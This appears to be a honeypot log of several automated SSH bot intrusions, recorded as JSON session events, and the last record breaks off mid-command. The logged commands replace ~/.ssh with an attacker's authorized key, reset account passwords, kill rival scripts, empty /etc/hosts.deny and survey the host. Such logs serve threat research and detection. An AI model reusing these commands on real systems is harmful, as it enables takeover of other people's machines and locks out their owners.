{"id":"6ac60bea-1c54-4953-bff1-ffb36751b9ad","name":"sterling-quiet-kakapo","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37062,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:53:51.433201+00:00","ended_at":"2026-08-27T05:53:52.777417+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:53:20.767840+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:53:21.080655+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:53:25.588042+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:53:26.764175+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:53:27.078885+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ble78zdkwOmr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:53:27.392451+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:53:27.705574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:53:28.415265+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:53:29.784604+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:53:30.100694+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:53:31.949916+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:53:32.264988+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:53:33.177134+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:53:33.494277+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:53:35.537549+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:53:35.850743+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:53:37.951298+00:00","kind":"output","latency_ms":null,"data":" 05:53:37 up 7 days, 2:43, 0 user, load average: 0.21, 0.19, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:53:38.265047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:53:39.401117+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:53:39.714990+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:53:40.848945+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:53:41.162077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:53:43.000950+00:00","kind":"output","latency_ms":null,"data":"top - 05:53:43 up 7 days, 2:43, 0 user, load average: 0.21, 0.19, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:53:43.315368+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:53:44.240097+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:53:44.557425+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:53:46.626311+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:53:46.941634+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:53:48.989112+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:53:49.303929+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:53:51.121293+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:53:51.433950+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:53:52.681390+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"java1234","method":"password","accepted":true,"tier":"other"}]} {"id":"695e8133-86b5-4fef-a0c2-5d44f10b84ad","name":"arctic-jagged-zebu","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58460,"username":"kkk","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:51:49.646369+00:00","ended_at":"2026-08-27T05:51:50.787856+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T05:51:21.342399+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:51:21.663659+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:51:25.672406+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:51:26.483616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:51:26.803803+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kkk\\nHbjbejTJsM4o\\nHbjbejTJsM4o\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:51:27.121498+00:00","kind":"input","latency_ms":null,"data":"echo \"kkk\\nHbjbejTJsM4o\\nHbjbejTJsM4o\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:51:27.439302+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:51:28.482722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:51:28.515300+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:51:28.837134+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:51:28.890710+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:51:30.112511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:51:30.432466+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:51:31.908668+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:51:32.239554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:51:33.766478+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:51:34.083399+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:51:35.720550+00:00","kind":"output","latency_ms":null,"data":" 05:51:35 up 7 days, 2:41, 0 user, load average: 0.22, 0.24, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:51:36.039932+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:51:38.178655+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:51:38.496317+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:51:39.818629+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:51:40.138929+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:51:42.195099+00:00","kind":"output","latency_ms":null,"data":"top - 05:51:42 up 7 days, 2:41, 0 user, load average: 0.22, 0.24, 0.23\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:51:42.516044+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:51:44.355057+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:51:44.680537+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:51:46.624325+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:51:46.942868+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:51:48.026359+00:00","kind":"output","latency_ms":null,"data":"kkk"},{"seq":31,"at":"2026-08-27T05:51:48.344779+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:51:49.333213+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:51:49.655537+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:51:50.691551+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kkk","password":"kkk","method":"password","accepted":true,"tier":"other"}]} {"id":"15c8f7d1-9c5f-4336-a6bc-91df637f559c","name":"civil-tawny-warbler","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":35266,"username":"xiaolin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":321,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:49:54.223925+00:00","ended_at":"2026-08-27T05:49:56.159164+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2252,"events":[{"seq":1,"at":"2026-08-27T05:49:23.901665+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:49:24.217462+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:49:28.772470+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:49:30.731908+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:49:31.050410+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nzE3eXPnJf6k8\\nzE3eXPnJf6k8\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:49:31.366881+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nzE3eXPnJf6k8\\nzE3eXPnJf6k8\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:49:31.688937+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:49:32.002953+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:49:33.170168+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:49:33.417779+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:49:33.491498+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:49:34.482878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:49:34.815369+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:49:36.915946+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:49:37.237124+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:49:38.075317+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:49:38.395686+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:49:40.024360+00:00","kind":"output","latency_ms":null,"data":" 05:49:40 up 7 days, 2:39, 0 user, load average: 0.09, 0.1, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:49:40.345813+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:49:41.905614+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:49:42.228028+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:49:44.238236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:49:44.570504+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:49:46.676043+00:00","kind":"output","latency_ms":null,"data":"top - 05:49:46 up 7 days, 2:39, 0 user, load average: 0.09, 0.1, 0.06\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:49:46.995906+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:49:48.505160+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:49:48.848368+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:49:49.736043+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:49:50.065339+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:49:51.956746+00:00","kind":"output","latency_ms":null,"data":"xiaolin"},{"seq":31,"at":"2026-08-27T05:49:52.275422+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:49:53.906237+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:49:54.224813+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:49:56.063421+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xiaolin","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"e7767d99-2f3a-4355-b785-faacccfdda2b","name":"quartz-primal-wren","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":55226,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:47:51.436453+00:00","ended_at":"2026-08-27T05:47:53.469714+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:47:32.208401+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:47:32.519129+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:47:37.543236+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:47:38.123729+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:47:38.436861+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1s6mPUuULazx\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:47:38.754930+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:47:39.066920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:47:39.567439+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:47:39.881286+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:47:40.667789+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:47:40.983043+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:47:42.314731+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:47:42.613838+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:47:42.897287+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:47:43.208970+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:47:44.015784+00:00","kind":"output","latency_ms":null,"data":" 05:47:44 up 7 days, 2:37, 0 user, load average: 0.16, 0.15, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:47:44.339310+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:47:44.789469+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:47:45.102458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:47:45.777038+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:47:46.088520+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:47:46.598373+00:00","kind":"output","latency_ms":null,"data":"top - 05:47:46 up 7 days, 2:37, 0 user, load average: 0.16, 0.15, 0.17\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:47:46.909651+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:47:47.761383+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:47:48.076205+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:47:48.870024+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:47:49.182984+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:47:49.510603+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:47:49.822365+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:47:51.125228+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:47:51.437254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:47:53.374739+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwerty22","method":"password","accepted":true,"tier":"other"}]} {"id":"c86d61c7-b2bb-4e53-b47d-17a3df0cf06a","name":"stoic-tawny-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58176,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:45:53.986321+00:00","ended_at":"2026-08-27T05:45:55.304401+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-27T05:45:27.223357+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:45:27.548107+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:45:31.474734+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 